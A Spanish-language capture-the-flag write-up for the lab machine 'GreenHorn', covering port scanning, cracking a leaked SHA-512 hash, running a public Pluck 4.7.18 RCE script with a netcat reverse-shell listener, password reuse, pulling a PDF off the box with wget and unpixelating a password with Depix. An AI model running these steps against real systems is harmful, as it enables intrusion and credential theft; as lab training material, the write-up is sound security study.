Ir al contenido

GreenHorn

Autor
Santiago Chavarro

Descripción :
#

Una máquina bastante sencilla en la que la enumeración es la clave para hallar la primera contraseña, que te servirá para usar un CVE y obtener una shell. Ya para el escalamiento de privilegios, algo absurdo y poco útil, pero entretenido.

Enumeración
#

Como siempre, vamos a empezar descubriendo qué puertos hay y con qué servicios.

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn IP -oG allports

nmap -sCV -p80,22,3000 IP -oN target

Vemos una página en el puerto 80, por lo que vamos a agregar la IP al /etc/hosts.

Cuando abrimos la página, vemos que en la parte inferior dice “admin”. Si le damos clic, nos lleva a un inicio de sesión. Dejaremos esto para más adelante.

Ahora vamos a revisar la página, pero por el puerto 3000. Después de buscar un rato, encontramos una especie de repositorio. Si revisamos estos archivos, encontramos un archivo llamado pass.php.

Esto nos deja un hash que, si usamos un hash identifier, nos dice que es un SHA-512. Por lo tanto, con John the Ripper lo podemos decodificar.

john --format=Raw-SHA512 hash.txt /usr/share/wordlist/rockyou.txt

Si volvemos al login que habíamos encontrado y usamos esta contraseña, nos permite iniciar sesión. Si miramos qué tecnologías tiene la página, nos damos cuenta de que tiene un Pluck 4.7.18, que tiene un CVE que podemos explotar con la contraseña que encontramos. Si copiamos este exploit de GitHub, podemos obtener una shell.

Primero, vamos a crear un entorno virtual de Python:

python -m venv "Enviroment name"
source "Enviroment name"/bin/activate

E instalamos este módulo para que el script de GitHub funcione sin problemas:

pip3 install requests_toolbelt

Ahora ponemos un nc en escucha y ejecutamos el script con sus parámetros:

nc -lvnp 4444 
python3 exploit_pluckv4.7.18_RCE.py --password iloveyou1 --ip 10.10.16.47 --port 4444 --host http://greenhorn.htb

Y con esto tenemos una shell:

Si tratamos de cambiar a uno de los dos usuarios, no vamos a encontrar forma de hacerlo. Por lo tanto, al final tratamos de usar la misma contraseña con el usuario Junior y nos funcionó.

Si miramos dentro de la carpeta de Junior, hallamos dos cosas: un PDF y la flag. Vamos a montar un servidor HTTP con Python para llevar ese PDF a nuestra máquina.

python3 -m http.server [puerto]
wget http://IP:[puerto]/'Using OpenVAS.pdf'

Dentro del pdf nos encontramos una especie de carta con una contraseña difuminada

Si buscamos formas de conseguir esta contraseña nos vamos a encontrar este github Depix, ya viendo esto vamos a hacer dos cosas clonar el repositorio y extraer la imagen del pdf en una pagina que nos permita esto, para luego descifrar la contraseña.

git clone https://github.com/spipm/Depix
python3 depix.py -p ../imagen-pdf -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png